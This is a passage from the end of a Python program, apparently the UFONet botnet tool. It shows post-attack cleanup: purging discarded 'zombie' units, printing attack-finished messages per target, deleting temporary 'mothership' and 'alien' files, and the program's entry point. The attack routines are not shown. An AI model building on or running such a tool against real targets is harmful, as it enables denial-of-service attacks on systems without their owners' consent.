  4812. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4813. if self.num_discard_droids > 0:
  4814. for d in self.discard_droids:
  4815. discarded.append(d)
  4816. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4817. if self.num_discard_rpcs > 0:
  4818. for r in self.discard_rpcs:
  4819. discarded.append(r)
  4820. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4821. if self.num_discard_ucavs > 0:
  4822. for u in self.discard_ucavs:
  4823. discarded.append(u)
  4824. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4825. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4826. if disc_zombies > 0 and disc_zombies < 2:
  4827. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4828. elif disc_zombies > 1:
  4829. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4830. if not self.options.target_list:
  4831. print('-'*21+ "\n")
  4832. print("[AI] "+self.exit_msg+"\n")
  4833. if not self.options.web:
  4834. return
  4835. else:
  4836. if self.num_target_list > 0: # still more targets
  4837. print('-'*21+ "\n")
  4838. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4839. return
  4840. else: # finish attack from multiple targets
  4841. print('-'*21+ "\n")
  4842. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4843. print("\n"+ '='*21+ "\n")
  4844. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4845. print("\n"+ '-'*21+ "\n")
  4846. print("[AI] "+self.exit_msg+"\n")
  4847. if not self.options.web:
  4848. return
  4849. else:
  4850. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4851. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4852. if os.path.exists('mothership') == True:
  4853. os.remove('mothership') # remove mothership stream
  4854. if os.path.exists('alien') == True:
  4855. os.remove('alien') # remove random alien worker
  4856. if not options.web:
  4857. sys.exit(2) # exit
  4858. else:
  4859. return
  4860. else:
  4861. print("\n" + '='*21)
  4862. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4863. if AI_reply == "y" or AI_reply == "Y":
  4864. self.AI() # AI fortune cookie
  4865. print('-'*21+ "\n")
  4866. print("\n[AI] "+self.exit_msg+"\n")
  4867. if os.path.exists('mothership') == True:
  4868. os.remove('mothership') # remove mothership stream
  4869. if os.path.exists('alien') == True:
  4870. os.remove('alien') # remove random alien worker
  4871. if not options.web:
  4872. sys.exit(2) # exit
  4873. else:
  4874. return
  4875. else:
  4876. if not options.attackme:
  4877. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4878. else:
  4879. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4880. print("\n" + '-'*21)
  4881. print("\n[AI] "+self.exit_msg+"\n")
  4882. if os.path.exists('mothership') == True:
  4883. os.remove('mothership') # remove mothership stream
  4884. if os.path.exists('alien') == True:
  4885. os.remove('alien') # remove random alien worker
  4886. return
  4887. if __name__ == "__main__":
  4888. app = UFONet()
  4889. options = app.create_options()
  4890. if options:
  4891. app.run()